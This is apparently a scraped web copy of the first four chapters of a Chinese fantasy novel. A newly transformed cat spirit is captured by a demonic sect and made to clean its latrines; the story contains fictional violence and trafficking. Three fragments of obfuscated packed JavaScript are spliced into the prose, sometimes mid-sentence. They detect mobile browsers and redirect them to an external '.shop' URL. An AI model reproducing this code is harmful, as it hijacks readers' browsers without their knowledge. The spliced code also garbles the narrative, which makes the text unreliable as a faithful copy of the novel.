《圣火昭昭,喵喵喵喵》 1. 第 1 章 香蒲化形的那一天,是平平无奇的一天。 炽烈的正阳穿透重重叠叠的枝叶落在了树下的凉椅上,余下三两点零星的光斑,洒在了睡得正酣的猫咪毛茸茸的皮毛上。 似乎被空气中的草籽刺激到了粉嫩的鼻头,猫咪打了一个喷嚏,就是那么一瞬间,四周的空气变得扭曲了起来,就这样,香蒲化形了。 香蒲坐在椅子上还没有反应过来,等反应过来,她做的第一件事是慢悠悠地打了一个哈欠,显然是清梦被打搅了。 和其他妖怪不同,香蒲的化形无声无息,丝滑得宛如流水,过程平淡得还不如刚刚做的梦精彩。 她跳下椅子,去看了看这家房舍的主人屋——老头儿正睡得香。 她的视线又落在了一旁的猫窝上——被啃得坑坑洼洼的猫窝已经被修好了大半,里头还用棉布垫了一层,和自己送来之前的垃圾模样显然已是两模两样了!香蒲对老头的手艺毫不吝啬地表达了肯定。 但由于还没有完全修好,香蒲放弃了将猫窝带回去的想法,反正自己很快就会回来,到时候再来也完全不耽误事儿。 香蒲没再打扰老人,转身就往山上跑去。按照灵隐山的规矩,只有小妖化形之后才能够下山去往人间,当然,还需要在下山之前去山主大人那里告知一声。 用山里头其他前辈的话来说,“若是在外头闯出祸事来了,也好让他们知道去哪里捞你”。 照灵隐山的规矩走完这所有流程之后,香蒲自觉已经是一只成熟的小猫了,离开之前向着自己背后的大山有模有样地拜了三拜之后,就算是正式出山了。 而此时距离她成功化形,也才不过过去了短短一炷香的时间。 * “哗啦哗啦” “啪嗒啪嗒” “笃笃” 水声,浣衣声,砍柴声……以及大量的人声。 香蒲的眼睛一下子就瞪圆了——她站在山林的边缘,新奇地看向不远处的村庄,寥寥炊烟从大小不一的屋子里头生起,似乎到了吃饭的时辰,香蒲看见在外头的小人都忽然放下了手上的活计,往着房子方向跑去。 开饭了?这个念头才刚刚升起,那些小人儿惊慌的叫声就先一步传到了香蒲的耳朵里。 “马匪!马匪来了!” “快跑,快跑!” 快跑—— 马匪?还没等香蒲弄清楚情况,眼前就忽然一黑,整个人直愣愣地往前栽去。 “是上等货色,关到三号囚笼。” 这是香蒲晕倒前听到的最后一句话,就像是在点评一件勉强能够入眼的货物一般。 完了,她这是好像遇见坏人了。 * 香蒲还是低估了人心险恶,万万没有想到自己出山的第一天,就被卖掉了。如果被山里头的人知道了,肯定会狠狠地嘲笑自己。 香蒲醒来的时候发现自己被关在笼子里面,陌生的环境吓了她一激灵,如果香蒲此刻还是原型的话,定然是全身的毛茸茸都炸开了。 “这里是哪里?快放我出去!”香蒲上去就要对着木制的囚车一阵输出。不是她吹牛,像这种囚车,材质和那老头在她两岁时给她做的猫抓板没什么两样,如果她真的动起真格来,在她手下撑不了几刻。 但奈何虎落平阳被犬欺,这里两脚兽太多,香蒲既不敢使用妖术,也不能化成原型出逃。只能气得在心里喵喵叫,无能狂怒。 而身后一同被抓进来的人类也没有闲着,只是他们不像香蒲一样“鲁莽”,而是默默地蜷缩在了囚车的一角,小声地,不间断地啜泣着,一声接着一声,简直是永不停息一般。 负责在院子门口看守的外门弟子虽然武功不高,但也算是习武多年,听力比普通人要强上不少,屋内的动静自然瞒不过他。 只是他没有想到这一批掳来的人畜竟然如此聒噪,吵得自己都没有办法打盹儿了,若是能有几个落到自己的手上,自己必定将她们的舌头都给割下泡酒。 就在外门弟子沉浸在幻想的时候,忽然瞥见衣袍一角出现在了视野里头,熟悉的服饰让他立马辨别出了来人的身份,甚至连抬头都不需要,就像过去做过无数遍那样,立刻单膝跪地行礼:“孙长老,您怎么来了?” 孙长老乃是这魔教分坛负责内务的长老,其身份仅次于分坛主。 “本长老做事,需要向你禀报。” “不敢、不敢。”外门弟子立刻识眼色地将头埋得更低了一些。他惯来擅长察言观色,所以在孙长老面前也勉强算得上能说上话,可孙长老今日却像吃了火药似的,让他碰了一鼻子灰。 “哼。”孙长老的鼻腔中发出一道似泄愤的声音,这才大步往院子里头走去。 而一进门,香蒲卡巴卡巴啃木头的声音,背后人畜的哭泣声,以及似乎像犯了哮喘一般的嗬嗬声混合在一起,重重地冲击着孙长老的脑壳。 孙长老脑门的青筋爆起,大喝一声“聒噪!”同时手掌蓄力,顿时不远处的石凳轰然炸开,巨大的爆炸声一下子让院落寂静无声。 香蒲默默地吐出了嘴里的半块木头,就着口水黏了黏,将它粘回了原来的地方。然后鼻观心,眼观鼻,假装什么都没有发生。 这场景,她熟悉,当自己拆家之后老头也是这幅暴跳如雷的表情。 孙长老冷眼扫过关在囚笼里面的人,冷哼一声,声音阴冷:“我不管你们原先是什么什么,但既然落到本长老手里了,那本长老的话就是规矩!如果不想变成后山猛兽的口粮,那就乖乖听话。” “也不要存在什么逃跑的心思,当你们一脚踏进这门的时候,哪怕是死,尸体也得给我留下!” 这一番霸道邪恶不讲理的话语当场让所有人都吓破了胆子,他们丝毫不怀疑面前这个看起来已经头发花白、年过半百的老人在说谎。 哪个好人家的老人能单凭气劲将一张石凳炸开? 定然就是传说中的武林高手,杀人不眨眼的大魔头! 石头都尚且如此,他们只是血肉之躯,又怎能活呢? 孙长老继续:“但本长老也不是那等无情之人,若是差事干得好了,本长老也能破格将尔等收入外门,这不比你们之前在外头给大户人家当牛做马强?这江湖上谁人敢不给老夫三分薄面?” 他这一番话软硬兼施,显然是深谙此道,懂得如何拿捏人心。背叛,是绝对的死路,只有顺从才有一线生机,但凡不是一个傻子都知道该如何选择。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405991|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果然,知道了自己还有活路之后,众人的啜泣声已经完全停止了,即便他们的处境一点儿也没变,依旧被关在笼子里。 见状,孙长老的面色缓和了些许。虽然这些人畜全杀了也不碍事,但总归是麻烦,更何况现在正是缺人手的时候,大公子对下人可以称得上是‘挥霍无度’,最要命的是最近官府抓得严,一时半会儿之间想要补充人口也是一件麻烦事。 偏偏大公子还只要姿色好的,昨日刚玩死了七个,今日就催着自己往那头送人,但要求还一点儿都不肯降低,自己只不过是说了两句最近外头官府的动向,劝他以大局为重,就被打了一掌。 这一掌不重,但却是实打实地将他的脸面踩在了地下,不过是路过分坛来游乐几日,却那么轻飘飘地毁了自己数十年经营的威严形象,孙长老越想越气,可偏偏还得憋着一口气来这院子里头给他选人。 院子里头的人畜被塞进了三个笼子里头,约莫只有二十来人,孙长老此时青筋一跳,立刻大声呼唤守门的外门弟子。 “还有其他的人呢,都给我带上来。” 外门弟子听见声音之后就第一时间赶进来了,听见孙长老的问话弯腰低眉地回答:“启禀长老,这一批的人都在这里了。” 孙长老猛地回头,眼神不悦,“你们偷懒了,平日里可不止这么点儿人。” 如果是以往,这里起码也得有五个笼子,而若是遇上饥荒战乱的年份,那么百来人都是有可能的。 外门弟子将腰弯得更低了,“最近官府那边不知怎么地查得严,其中大部分都是来自与我们交好的牙行特意留下来的上等货色,只有少部分是掳来的。” 孙长老听得额头上的青筋跳得更厉害了,什么?居然大部分是牙行送来的,那不就是买来的吗?花钱,怎么又要花钱?! 他此刻的憋闷已经到了极点,若是在平时,他忍不住要杀几个人发泄一下,但转眼看见那些人畜,耳边就回荡起外门弟子的话。 ……那都是花钱买来的。 要是都杀了,钱都白花了! “轰隆!”院子里头的又一个石凳也炸开了。 孙长老淡然自若地收回手,在袖子里头握成了拳头,直到这时,心里的郁气才消散了少许。 他踱步走到第一个笼子前,立刻皱起了眉头,问外门弟子,“这是牙行来的?” 外门弟子一见这表情,心里咯噔一下,立马上前解释:“这已经是牙行里头最好的货色了,只是最近县城里头似乎来了什么大官,牙行那群见利忘义的小人都将最好的货色紧着那边。” 孙长老刚刚压下的火气又升起来了。 只不过这回,已经没有石凳给他发泄了。 他只能硬生生地将这口气暂时咽下去,只等到合适的时间算账!他堂堂日轮教分坛内务堂堂主,哪里能受这种气! 他挑了半天,也才在第一个笼子里头挑出了两个,第二个笼子也只挑中了一个,而最后一个笼子更是一个都挑不出来! 孙长老的脸色顿时绿了! 他的目光往人群里头来回扫描数次,忽然,在掠过香蒲的时候,眼里终于一亮。 “你,出来。”他目光的落点正是香蒲。 2. 第 2 章 忽然被点名,香蒲一下子没有反应过来,“我吗?”她指了指自己。 孙长老哼了一声,“莫非还要让老夫请你出来不成。” 香蒲一手还抓着栏杆,她可不能出去,一出去手里这半截木头就要掉下来了。 “我不方便出去,你进来成吗?”香蒲诚心诚意地试图商量。 孙长老的眼珠子猛地瞪大,就连一旁的外门弟子也不由得倒吸了一口凉气,发出嘶嘶的声响。 “真是好大的胆子!” 孙长老的声音猛地在耳边炸开,外门弟子还以为自己震惊之下将心声说了出口,旋即反应过来,原来是孙长老被气疯了。 “好,”孙长老咬牙切齿,“你、很好。” 小猫咪虽然听不懂人类的好话赖话,但小猫咪懂得听语气。这个两脚兽在口是心非咧。 如果是平日,孙长老早就让人把她拖去后山当野兽的口粮了。他一股气劲憋在心里头,勉强维持着最后的一丝理智,怒不可遏:“将此女贬为下等宫人,给我去扫茅房!” “这分坛所有的茅房,都归她管,谁也不许插手!” 此刑罚之重,连外门弟子都被吓退了几步,不可置信:“分坛里所有茅房?可包括后山那些‘野人’?” “自然!”这话倒是提醒孙长老了,他重重地一掌拍在了外门弟子的肩头上,“你可得替老夫好好看着这丫头片子,别让她那么快就解脱了。” 外门弟子心领神会:“弟子遵命。” 香蒲掏了掏耳朵,那两个人嘀嘀咕咕的坏事她可都听见了,不就是埋屎吗?这活儿,她熟。 经过香蒲一打岔,孙长老早就没有细致挑选的心情了,随便看哪个人都要比这不长眼的丫头有眼力见。随便点了几个人出来,吩咐外门弟子将人送去大公子那边,就离开了。 如果不是看香蒲实在愚钝,惹得大公子不快连累到自己身上,孙长老最想看见的死法是被大公子折磨得全身没有一块好肉之后丢去喂狗! 但没关系,孙长老说服自己,来日方长。等到这段风头过去了,自己有的是时间和手段来折磨这丫头。 孙长老离开之后,那名外门弟子就将她们剩下的人召集起来,“跟我来。” 香蒲趁着人多手杂的时候,终于肯从笼子里面出来了,超级不经意地将手里的半块木头丢下,假装与自己无关。 方才孙长老才发了火,虽然那怒气不是冲着自己来的,但那个外门弟子心里也是累得慌,只想赶紧了结这件事,因此并没有注意到香蒲的小动作。 他带着一行人寻到了仆役房。 “丑姑。”外门弟子一见到人,就恭敬地迎了上去,虽然自己的武功和身份并不比她低,但丑姑可是负责所有仆役内务的掌事嬷嬷,暗地里能给自己使绊子的地方可多得去,而且还心胸狭隘,这人畜损耗得如此之快也少不了她一份功劳。 那大公子只是偶然路过这个分坛,分坛也就这段时间多死了一些人,但平日里无声无息消失的人,可都是被这位给蹉跎死了。 外门弟子大步上前,与她低声交谈着什么。 香蒲忽然觉得自己被看了一眼,于是抬头,正好对上丑姑的目光,她不明所以地挠挠头,丝毫没有被盯上的自觉。 毕竟她可是妖怪。 在人类的话本子里,只有人类怕妖怪的说法。 丑姑来到了香蒲跟前,开口却是一道十分温和的声线:“抬起头来让我看看。” 面前的女人生得一张极其昳丽的面容,美貌晃眼得很,一时之间香蒲都看愣了,不明白这么好看的人为什么会被叫‘丑姑’。 丑姑伸出修长的食指,指头上还染着嫣红的蔻丹,素白的手指抬起了香蒲的下巴,一双好看的凤眼微微眯起,似乎在细细端详,也像是一种无声的……审阅。 半晌,她收回手,“倒是有几分姿色,这孩子我要了。” “不可!”外门弟子赶紧出言阻止,慌忙解释:“这就是孙长老指明的那人。” 丑姑的眉头一下子拧了起来,似乎在纠结要不要给孙长老这个面子。最后,她看向了香蒲,轻轻一笑:“我也不是什么坏人,就让这孩子自己选吧?” “是跟我,还是去扫茅房?”丑姑不认为一个长得细皮嫩肉的女娃娃会选择第二个。 但她这招在香蒲身上失算了。 香蒲摇摇头:“我去埋屎……不对,去扫茅房。”小猫咪才不要沦为两脚兽的玩物。 丑姑的脸色猛地一沉,转身离去。 其怒气之大,就连初来乍到的其他仆役都知道香蒲将管事的丑姑得罪大发了,可偏偏当事人还毫无自觉。 丑姑似乎也是第一次应付像香蒲这种“纯傻子”,一时之间也无从下手。大致交代了一些扫茅厕的具体安排之后就将香蒲打发走了。 香蒲按照指示,先来到了仆役房的角落,打开工具房。 一开门,门顶的灰尘就扑簌簌落下,在阳光中上下起伏飞舞着,而接着扑面而来的,是挥之不去的恶臭。香蒲猛地后退! 极其浓烈的气味仿佛热浪一样扑面而来,她在一瞬间感受到了前所未有的窒息感,仿佛身体的每一个毛孔都盛满了这种恶臭,脑子里面一片空白。 半晌,香蒲才像逃一样地猛地后跳一大步,转身就跑,蹲在一棵树下拼命地干呕着。 这一幕被几个轮完值的仆役看见,幸灾乐祸道:“果然还是外头来的新人,就是该这样好好挫一挫她们全身的硬骨头。” 同伴附和:“以后我们就有好日子过了,要我说,这小丫头片子也怪可怜的。” “可去你的吧,就你的尿最骚。” …… 两人的窃窃私语传到了香蒲的耳朵里,小猫咪的耳朵尖尖动了动,却再也没有力气去瞧一瞧到底是谁在背后说她的坏话。 她此时满脑子都是刚才打开工具房门时候的惊鸿一瞥——恭桶、草木灰、铲子……每一样物件上面都裹满厚厚的一层黄泥,与此同时还散发出极其具有攻击力的气息。简直不亚于大妖的全力一击。 香蒲觉得自己已经脏了,她已经不是香香软软的小猫咪了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405992|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在树底下缓了一会儿之后,香蒲竟然是直接睡了过去,毕竟她从小就养成了睡八个时辰的好习惯。 兴许是香蒲睡觉选的地方太对了,那副模样太理直气壮了,因而虽然仆役们来来往往,但愣是没有人敢去叫醒香蒲。 直到丑姑回来了。 丑姑一看这人,就气笑了。 她总算知道为何这人才刚来第一天,就能让“孙长老”特地关照了。 香蒲还在睡,仿佛对周遭的一切无知无觉。丑姑取下腰间的长鞭,手腕翻飞,凌厉的长鞭划破空气之声。 香蒲忽然睁开了眼睛,圆溜溜的眼睛还残留着刚睡醒的懵懂,但身体比脑子更加灵巧,一个向右的侧翻,长鞭不偏不倚地打在她原先睡得正香的土地上。 “醒了?”丑姑的语气听不出喜怒。 香蒲一骨碌地站起来,“醒了。” “哼,”丑姑的嘴角溢出一声轻笑,“睡得还香吗?” “不香,”香蒲实诚地表达自己当下的感受,“我饿了,不知道去哪里吃饭。” “还想吃饭?”丑姑收回了鞭子,刚才她那一鞭没有动用武功内力,只是单纯给香蒲一个教训罢了,“若我在明早看不见干干净净的茅房,你明早就可以去死了。” 语气平淡,就像是在回答今夜吃什么晚膳一般平静。 可香蒲的一身鸡皮疙瘩在一瞬间炸了起来,她能清晰地感受到丑姑明晃晃的杀意。她是一只识相的小猫咪,立马应声,“保证完成任务。” 丑姑只是斜眼看了一秒,就不再多言。一个低贱的人畜不值得她花费再多的力气了,若是再不识相,明早杀了就是。 也许是睡够了,香蒲这回没有再闹什么幺蛾子了,她老老实实地去杂物房,将里头清扫粪便的工具提了出来。香蒲的化形是个约莫只有八九岁的小女娃娃,而那个木桶却足足有半个她那么高,里头装着大概三分之一的草木灰,丢着几个大小不一的铲子,还有比她高出一个头的钢叉,份量不轻。 若是其他人来拿,可是一件吃力的活儿。但这堆工具在香蒲的手中仿佛是玩具一般,拿起来毫不费力。 香蒲一手拖着钢叉,一手拖着木桶,身形灵活地钻入了夜色之中。 * 香蒲打算从练武场开始清理。 因为在路上不止一个人去催她先去将哪里收拾干净了。即便所有弟子都觉得香蒲的面容陌生,但一瞧见她左手粪叉右手粪桶大摇大摆走在路上的模样,就被她一身英姿所折服,丝毫不会怀疑她是什么可疑人物。 香蒲很快就找到了茅厕,就在练武场的东南角,刚一靠近,香蒲就打起了退堂鼓。 练武场的弟子们大多都是少年和青年,将上衣一脱就露出布满汗液、鼓鼓囊囊的肌肉。背后是熏天的汗臭味,前面是茅坑发酵的味道,香蒲终于忍无可忍,指尖泛起一点灵光,悄无声息地将自己五感封闭。 吁……香蒲顿感神清气爽,看来是暂时得救了。 只是香蒲还没有高兴上一秒,背后就传来一道声音:“你在这里做什么?” 3. 第 3 章 “扫茅房啊。”香蒲转过身,提着木桶往那人面前递了递。 那人年纪看起来要比香蒲稍长一些,眼见香蒲拎起那只恶臭的木桶往自己眼前递了递,他立马一个跨步后退,“我当然知道你是扫茅房的仆役,你早上为什么没来!” 王大猛在惊恐于那只木桶之余心里还生出了一丝委屈,他都一天没拉了,就是因为茅房的粪球都几乎堆出来了。 香蒲本来就不耐烦了,这个两脚兽还在这里瞎捣乱,也不知道他刚才看见什么没:“因为我在睡觉。” “你、你这个偷奸耍滑的仆役,我要去丑姑那里告你!”香蒲如此没有诚意的话彻底点燃了王大猛的怒火。 “你去啊。” 如此不走心的话让王大猛觉得自己的威严受到了挑衅。 “你可知我是谁?” “……你哪位?” “我乃分坛大长老彭断山彭长老的弟子,自小修习断浪斩和金刚护体神功,你这中下等仆役没有听说过也……” “砰——”金属的撞击声余音绕梁。 “你、你……在做什么?”王大猛声线颤抖。 “想试试你的金刚护体神功,真的像敲在石头上一样耶!” “……我再问你,你是用……用什么……” “粪叉。” 王大猛眼白一翻,过度惊吓之下竟然直接晕死过去。 香蒲拿起粪叉用力地将王大□□来插去,左右翻炒,越插眼睛亮闪闪的,原来两脚兽不用法术也能够让自己肉身变得如此强悍吗?真是有意思的功法。 待将王大猛好好玩弄够了,香蒲才正式开始一天的工作。 香蒲想起自己还是一只凡猫的时候,自己养的两脚兽就会将自己的便便偷走,藏在一个草堆里,叫什么……沤肥来着。所以……香蒲忽然一脸严肃起来,自己也得去铲屎吗? 香蒲晃了一下手上的木桶,几下颠簸,一个铲片就露出来了一半,看大小,将粪叉的叉头取下之后,正好能够替换上去。 香蒲换好了工具,就开始挖起土来,一下接着一下倒进坑里。 铲屎是两脚兽才会做的事情,自己只是一只小猫咪,自然是要顺应天性的,只会埋屎。香蒲不懂什么埋屎的技巧,全凭力大砖飞。别人觉得凝实得像石块一样的黑土在香蒲的手下比给橘子剥皮还要简单,三两下就给填埋得严严实实,所有臭味都被牢牢地锁在里头。 在最后一捧土填好之后,香蒲长舒一口气,抹了一把并不存在的汗珠。当人类可真不容易啊。 “师弟!”背后忽然传来一道急促的声音。 只见又一名身着练功服的弟子匆匆跑来,第一眼就看到了躺在地上的王大猛,鬼哭狼嚎地扑了上去:“师弟,你怎么了?” 大概地检查了王大猛的伤势之后,那人才放下心了,转而对香蒲怒目而视:“就是你这妖女伤害了我师弟?” “我、我吗?”香蒲大惊失色,他怎么看出我是妖的? 听到香蒲的反问,他的理智总算回来了少许,上下打量香蒲一番,觉得她纯属矮冬瓜一只,又怎么可能伤害得了他师弟。 于是难得好脾气地发问:“你是何人,又怎么会出现在这里?” 香蒲提了一脚就放在一旁的木桶:“丑姑让我来打扫茅房。” “打扫茅房?”不提这事还好,一提他的火气也上来了,显然也是饱受茅厕之苦许久,但虽然迟是迟了点,总算是来人了。 他的视线越过香蒲,又越过那扇半开的门,去检阅香蒲一天的工作成果,嘴里还在不断抱怨:“怎么今日如此之慢,要是明日……” 他的声音戛然而止,许久之后,用着颤抖的声线问道:“我们的茅厕呢?” “在背后呢。”香蒲回答。 “我是问那个坑呢!?” “屎太多了,我埋了好久呢。”像是提到了什么不愉快的记忆,香蒲也小声抱怨起来,“臭臭的。” 两脚兽真是太不讲究了。 “啊啊啊——”只见面前的男人忽然发出一声怒吼,一身强大的气劲骤然爆发,肌肉在瞬间膨胀,将上衣撑出了一个鼓胀的弧度。 “你这妖女竟然如此戏弄于我!”他羞愤欲绝,他与这个小萝卜头无冤无仇,到底为何要将自己当成傻子?哪个清扫茅房的会将茅房给填平了! 香蒲被他的阵仗吓了一大跳,愣愣地看着他。 只见那个人忽然比划了一通,全身内力外化,显然比刚才气晕过去的王大猛武功高深不少。 “我乃大长老彭断山彭长老的亲传弟子——陈三斤,自小跟随师父修习赤焰斩和金钟护体神功,今日非得让你这个妖女知道我的厉害……” “哐——” 沉闷的敲击声余音绕梁,陈三斤声音陡然中断。 忽然,他开口了,“你用什么打我的头?” “粪铲。” 听到回答,陈三斤两眼一翻白,似乎终于瞑目了似的,倒地不醒。 啧,不中用的两脚兽。天色已经很暗了,香蒲没有继续玩弄陈三斤身体的欲望,拖着铲子和木桶往下一个茅房走去。 一回生二回熟,在香蒲特殊的打扫方法之下,整个分坛的茅厕很快就被填平……打扫干净。 香蒲将木桶和铲子重新丢回工具房,欢呼一声就准备去干饭。只是香蒲在仆役房里左找右找,也没有找到分发饭食的嬷嬷。 香蒲随便拽住了一个与她差不多大的仆役询问,“要去哪里吃饭?” 被她抓住的女娃娃皱着眉头,试图挣脱,折腾了几秒,她没有法子了,只能敷衍道:“已经过了晚膳的时间,你只能等明天。” “这怎么能行!”香蒲大惊失色,她不接受,绝对不接受。 女娃娃又试着甩了两下,还是没能甩开,只想快点将香蒲打发离开:“厨房可能还有剩菜,若你有些人脉,说不定能得主子赏赐。” 听到了有解决的法子,香蒲果断没有再纠缠,立马将人放开,往仆役院门口跑去,风风火火的,生怕自己这次再慢就真的没有吃的了。 苏采薇总算能收回自己的手了,一边揉着被抓紧的手腕一边盯着香蒲离去的方向,自言自语:“奇怪的人?” …… 多亏了下午的打扫,香蒲知道最近的灶房在哪里,她轻巧地躲过了所有巡逻的弟子,在经过一棵大树的时候,整个人悄无声息地消失,而就在眨眼的一瞬间,树上多了一只背部乌黑的小猫咪。 香蒲的目标很明确,就是溜进去,将里面的晚饭拿到手。 灶房的正门紧锁着,但窗子因为年久失修,合不拢留了一条小缝。猫儿轻盈地落在了窗沿,先是用胡须测了测距离,接着又努力地用脑门往那一条缝隙里头挤,龇牙咧嘴,用力地连前爪爪都炸开了花。 终于,猫头顺利侵入。 既然脑袋能进去,那身体就不是问题了。后腿努力蹬了两下,几乎没有费什么力气,小猫咪就如同面条一样丝滑地入侵了屋子。 站稳身体后,猫儿甩了两下脑袋,刚才脑壳还被挤得晕乎乎的。接着又不急不慢地理了理自己凌乱的毛发,将自己收拾得七七八八了,才优雅地在灶台上面巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405993|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视起来。 小猫咪对两脚兽的时间并没有多少概念,只知道人人都跟她说‘天色已晚’,但到底多晚,心里那是一点数都没有。 她只知道自己巡视了一圈,到处都是干干净净的,只有笼子里面还有两只鸡,米缸里头装着麸皮和小麦,除此之外,就只有那一口倒扣的菜罩里头有几块糕点,绿色的,闻起来香香甜甜的。 香蒲并不是一只挑食的小猫咪,她也不是不能直接吃生肉,但大半夜地消失两只鸡还是太离谱了,最后也只能勉为其难地选择了糕点。 于是小猫理直气壮地一脚踢飞菜罩,吭哧吭哧地开始对着糕点出手。 一入口,就是无比浓郁的米香和茶香,里头还包裹着甜丝丝的红豆泥,香蒲的猫瞳更亮了,她记得这个味道! 是老头最喜欢的龙井茶的味道! 但她并不喜欢那种苦涩的味道,于是一脚将茶壶从桌子上踢了下去,摔了个稀巴烂,然后在老头的目光看过来的时候,悠然自得地梳理着胸前的白毛。 老头那时还年轻,身体尚可,并没有被她气出一个好歹来,只是在一边发出“天啊”“哎呦”诸如此类的聒噪人叫。 但今天的味道,猫猫喜欢! 猫猫来人间就是来干这个的! 善良的猫猫本来打算只浅尝一两块,然后顺手搞些破坏,最后顺理成章地把食物失踪案栽赃给那些未开灵智的老鼠,但现在,她不演了! ——猫猫直接大吃特吃,干掉了五块。打了一个饱嗝之后,香蒲看向了剩下的最后一块,但她也不打算留下,直接叼着逃之夭夭。 吃饱喝足之后,香蒲没有回去睡觉的打算,她先是找了一处安静的角落仔仔细细地给自己舔毛,圆溜溜的森绿色眼睛眨巴眨巴,在琢磨着什么坏事——她对那个名为‘金刚护体神功’的武功有点兴趣,而刚好,香蒲今天打扫的时候,知道藏书阁在哪里。 香蒲飞快地在树与树之间移动,夜色是她最好的掩护,藏书阁约莫有足足六层,约莫百尺之高,而她能找到的最高的树高度也不过堪堪过半,而且也许是为了防止贼人从树上潜入阁中,附近非但没有树木,而且里头似乎还有多人把守。 香蒲伸出神识,正门和侧门各有两人,里面还有一个精神矍铄的老头。 小猫咪不懂藏书阁里面的老头有多大的含金量,但她可太清楚自己家里面的那个老头了,听说年轻的时候是一国将军,十分能打。于是小猫决定谨慎行事。 好在,神识不断地探查之下,还真让香蒲发现了一个狗洞。脚步轻盈地落在狗洞面前,这一切都顺利得让她怀疑里面是不是有什么陷阱了。 这个狗洞不算小,大概有三只香蒲高,她比划了一下高度,觉得自己的人身也是可以毫无困难地穿过。 …… 漆黑的藏书阁中,骤然亮起了一点光。 薄如蝉翼的刀锋在夜色里亮起一点寒芒,轻轻刺入窗上嵌着的油纸,拉开一小道几不可察的缝隙,让清冷的月光透过,映在被翻开的书页上,也同时映在了一双布满伤口的双手上,淡青色的血脉纹路清晰可见。 手的主人生得一副好皮相,容貌极艳,肤色是常年不见日光的苍白,可眼底却凝积着浓稠的阴翳,偏偏让他周身多了几分犹如阴鬼一般的杀气。 宋昭雪借着月华,一目十行地将手里的武功秘籍《天蚕九变心经》第一册死死记在心里,同时防备着阁楼中那名不断游荡的长老。 忽然,一股异香钻入鼻腔,宋昭雪骤然抬首,目光如寒刃直指前方! 两点幽绿的鬼火悬浮于空中! 4. 第 4 章 第4章猫猫抓包 宋昭雪瞬间屏住了呼吸,手中的短匕缓缓翻转,终于将那一点月光引到了头顶,看清了那物什的模样。 是一只黑猫。 香蒲将最后一点龙井糕吞下,一双幽绿色的猫瞳也在打量面前的少年郎,少年身高只比自己的人身稍微高一些,病弱削瘦,连呼吸都浅得可怕。 只是第一眼,香蒲就看穿了他的弱点——这个人生了很严重的病,生机微弱,也难怪自己一开始的神识没有发现他。 “喵~”香蒲向他发出友好的信号。她只是一只无害的野猫而已。 可就在香蒲出声的那一刻,少年的脸色骤变,接着恶狠狠地瞪了她一眼,迅速离开,遁于夜色之中。 香蒲偏了偏头,紧接着,一股强大的气息从背后破风袭来,“是谁?” 苍老声音夹杂上了内力,浑厚有力,未见其人先问其声,若是那少年还在这里,那点微弱的生机恐怕会被彻底灭绝。而来人,正是这藏书阁的那名守阁老人。 但香蒲不带怕的,她优雅地转动身体,尾巴翘成了一个半圆,冲着老头来的方向又喵了一声,一猫做事一猫当。 香蒲也是后知后觉自己好像让刚才的少年暴露了,于是主动现身。 “猫?”守阁老人的脚步一缓,随即发出一声哼声,哪怕只是一只猫,也休想逃出藏书阁! 他五指成爪内劲外放,仿佛已经能看见这个黑猫在自己的内力之下被碾成一摊血肉的画面了。 可忽然,黑猫动了。 只见那只猫轻盈地跳跃,落在了隔壁的书架之后,而守阁老人只觉得眼前的残影一晃,那只黑猫宛如一滴墨水一样融入浓稠的夜色之中。 守阁老人没料到这畜生竟然如此灵活,等他后知后觉再点燃手里的灯笼的时候,更是彻底没了影子。 可守阁老人却丝毫不敢放松,借力使出了纵云梯这一武术绝学,一下子跳到了书架的顶端,只见上头布满了厚厚的灰尘,其中几个略浅的梅花爪印清晰可见。 想着黑猫离开的方向,守阁老人往隔壁的书架一跳,也同样发现了几枚爪印,只是最后的半枚爪印留在了书架边缘之后,就彻底没了踪迹。 这该死的畜生竟然跑了。守阁老人盯着香蒲离开的方向,若是再让他见到了,定然将这畜生拆骨扒皮。 在守阁老人无能狂怒的时候,香蒲早就溜出来了,甚至因为守阁老人在三楼,一二楼无人看守,她离开的时候走的还是正门。按照记忆里的路线,香蒲重新找到狗洞的位置,打算从哪里来就回哪里去。 但看着红砖整齐地将洞口封得严严实实,香蒲一下子陷入了自我怀疑。 如果不是她乃动物化形天生嗅觉灵敏,嗅出了这一块砖瓦沾染了新鲜的黑土气息,乃是刚刚填补上去,恐怕也会被蒙骗过去。 忽然,香蒲福至心灵,哦,她总算知道为何这里会无缘无故出现一个狗洞了。就是刚刚那个偷书贼! 而当知道自己身份有败露的风险时,那个偷书的少年郎非但在第一时间撤离,甚至还将自己进出的洞口也一同填补好了。 只是苦了香蒲,得自己寻找出路。 香蒲看着高大的院墙,核桃仁大小的脑子里却浮现出了刚刚守阁老人跳上书架的那一招,调动内力游走于奇经八脉之中……等等,她好像没有内力,那就用妖力代替,紧接着一脚踏踩在了石墙凸出的位置,四肢灵动地变化位置,几个闪身之间就出现在了墙头。 